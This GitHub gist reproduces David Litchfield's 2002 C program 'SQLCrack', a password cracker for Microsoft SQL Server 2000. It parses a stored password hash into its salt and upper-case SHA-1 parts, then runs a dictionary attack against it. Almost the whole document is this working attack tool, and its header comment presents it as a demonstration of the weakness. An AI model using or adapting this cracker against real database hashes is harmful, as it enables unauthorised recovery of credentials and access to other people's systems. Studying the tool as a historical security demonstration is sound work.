Created
June 10, 2011 00:38
-
-
Save mikeobrien/1018054 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
///////////////////////////////////////////////////////////////////////////////// | |
// | |
// SQLCrackCl | |
// | |
// This will perform a dictionary attack against the | |
// upper-cased hash for a password. Once this | |
// has been discovered try all case variant to work | |
// out the case sensitive password. | |
// | |
// This code was written by David Litchfield to | |
// demonstrate how Microsoft SQL Server 2000 | |
// passwords can be attacked. This can be | |
// optimized considerably by not using the CryptoAPI. | |
// | |
// (Compile with VC++ and link with advapi32.lib | |
// Ensure the Platform SDK has been installed, too!) | |
// | |
////////////////////////////////////////////////////////////////////////////////// | |
#include <stdio.h> | |
#include <windows.h> | |
#include <wincrypt.h> | |
FILE *fd=NULL; | |
char *lerr = "\nLength Error!\n"; | |
int wd = 0; | |
int OpenPasswordFile(char *pwdfile); | |
int CrackPassword(char *hash); | |
int main(int argc, char *argv[]) | |
{ | |
int err = 0; | |
if (argc !=3) | |
{ | |
printf("\n\n*** SQLCrack *** \n\n"); | |
printf("C:\\>%s hash passwd-file\n\n", argv[0]); | |
printf("David Litchfield ([email protected])\n"); | |
printf("24th June 2002\n"); | |
return 0; | |
} | |
err = OpenPasswordFile(argv[2]); | |
if (err != 0) | |
{ | |
return printf("\nThere was an error opening the password file %s\n", argv[2]); | |
} | |
err = CrackPassword(argv[1]); | |
fclose(fd); | |
printf("\n\n%d", wd); | |
return 0; | |
} | |
int OpenPasswordFile(char *pwdfile) | |
{ | |
fd = fopen(pwdfile,"r"); | |
if (fd) | |
return 0; | |
else | |
return 1; | |
} | |
int CrackPassword(char *hash) | |
{ | |
char phash[100] = ""; | |
char pheader[8] = ""; | |
char pkey[12] = ""; | |
char pnorm[44] = ""; | |
char pucase[44] = ""; | |
char pucfirst[8] = ""; | |
char password[44] = ""; | |
char unicodePassword[100] = ""; | |
char *wp = NULL; | |
char *ptr = NULL; | |
int cnt = 0; | |
int count = 0; | |
unsigned int key = 0; | |
unsigned int t = 0; | |
unsigned int address = 0; | |
unsigned char cmp = 0; | |
unsigned char x = 0; | |
HCRYPTPROV hProv = 0; | |
HCRYPTHASH hHash; | |
DWORD hl = 100; | |
unsigned char szhash[100] = ""; | |
int len = 0; | |
if (strlen(hash) !=94) | |
{ | |
return printf("\nThe password hash is too short!\n"); | |
} | |
if (hash[0] == 0x30 && (hash[1] == 'x' || hash[1] == 'X')) | |
{ | |
hash = hash + 2; | |
strncpy(pheader, hash, 4); | |
printf("\nHeader\t\t: %s", pheader); | |
if(strlen(pheader) != 4) | |
return printf("%s", lerr); | |
hash = hash + 4; | |
strncpy(pkey, hash, 8); | |
printf("\nRand key\t: %s", pkey); | |
if(strlen(pkey) != 8) | |
return printf("%s", lerr); | |
hash = hash + 8; | |
strncpy(pnorm, hash, 40); | |
printf("\nNormal\t\t: %s", pnorm); | |
if(strlen(pnorm) != 40) | |
return printf("%s", lerr); | |
hash = hash + 40; | |
strncpy(pucase, hash, 40); | |
printf("\nUpper Case\t: %s", pucase); | |
if(strlen(pucase) != 40) | |
return printf("%s", lerr); | |
strncpy(pucfirst, pucase, 2); | |
sscanf(pucfirst, "%x", &cmp); | |
} | |
else | |
{ | |
return printf("The password hash has an invalid format!\n"); | |
} | |
printf("\n\n Trying...\n"); | |
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_FULL, 0)) | |
{ | |
if (GetLastError() == NTE_BAD_KEYSET) | |
{ | |
// KeySet does not exist. So create a new keyset | |
if (!CryptAcquireContext(&hProv, | |
NULL, | |
NULL, | |
PROV_RSA_FULL, | |
CRYPT_NEWKEYSET)) | |
{ | |
printf("FAILLLLLLL!!!"); | |
return FALSE; | |
} | |
} | |
} | |
while (1) | |
{ | |
// get a word to try from the file | |
ZeroMemory(password, 44); | |
if (!fgets(password, 40, fd)) | |
return printf("\nEnd of password file. Didn't find the password.\n"); | |
wd++; | |
len = strlen(password); | |
password[len-1] = 0x00; | |
ZeroMemory(unicodePassword, 84); | |
// Convert the word to UNICODE | |
while(count < len) | |
{ | |
unicodePassword[cnt] = password[count]; | |
cnt++; | |
unicodePassword[cnt] = 0x00; | |
count++; | |
cnt++; | |
} | |
len --; | |
wp = &unicodePassword; | |
sscanf(pkey, "%x", &key); | |
cnt = cnt - 2; | |
// Append the random stuff to the end of | |
// the uppercase unicode password | |
t = key >> 24; | |
x = (unsigned char) t; | |
unicodePassword[cnt] = x; | |
cnt++; | |
t = key << 8; | |
t = t >> 24; | |
x = (unsigned char) t; | |
unicodePassword[cnt] = x; | |
cnt++; | |
t = key << 16; | |
t = t >> 24; | |
x = (unsigned char) t; | |
unicodePassword[cnt] = x; | |
cnt++; | |
t = key << 24; | |
t = t >> 24; | |
x = (unsigned char) t; | |
unicodePassword[cnt] = x; | |
cnt++; | |
// Create the hash | |
if (!CryptCreateHash(hProv, CALG_SHA, 0, 0, &hHash)) | |
{ | |
printf("Error %x during CryptCreatHash!\n", GetLastError()); | |
return 0; | |
} | |
if (!CryptHashData(hHash, (BYTE *)unicodePassword, len*2+4, 0)) | |
{ | |
printf("Error %x during CryptHashData!\n", GetLastError()); | |
return FALSE; | |
} | |
CryptGetHashParam(hHash, HP_HASHVAL, (byte*)szhash, &hl, 0); | |
// Test the first byte only. Much quicker. | |
if (szhash[0] == cmp) | |
{ | |
// If first byte matches try the rest | |
ptr = pucase; | |
cnt = 1; | |
while (cnt < 20) | |
{ | |
ptr = ptr + 2; | |
strncpy(pucfirst, ptr, 2); | |
sscanf(pucfirst, "%x", &cmp); | |
if (szhash[cnt] == cmp) | |
cnt ++; | |
else | |
{ | |
break; | |
} | |
} | |
if (cnt == 20) | |
{ | |
// We've found the password | |
printf("\nA MATCH!!! Password is %s\n", password); | |
return 0; | |
} | |
} | |
count = 0; | |
cnt = 0; | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment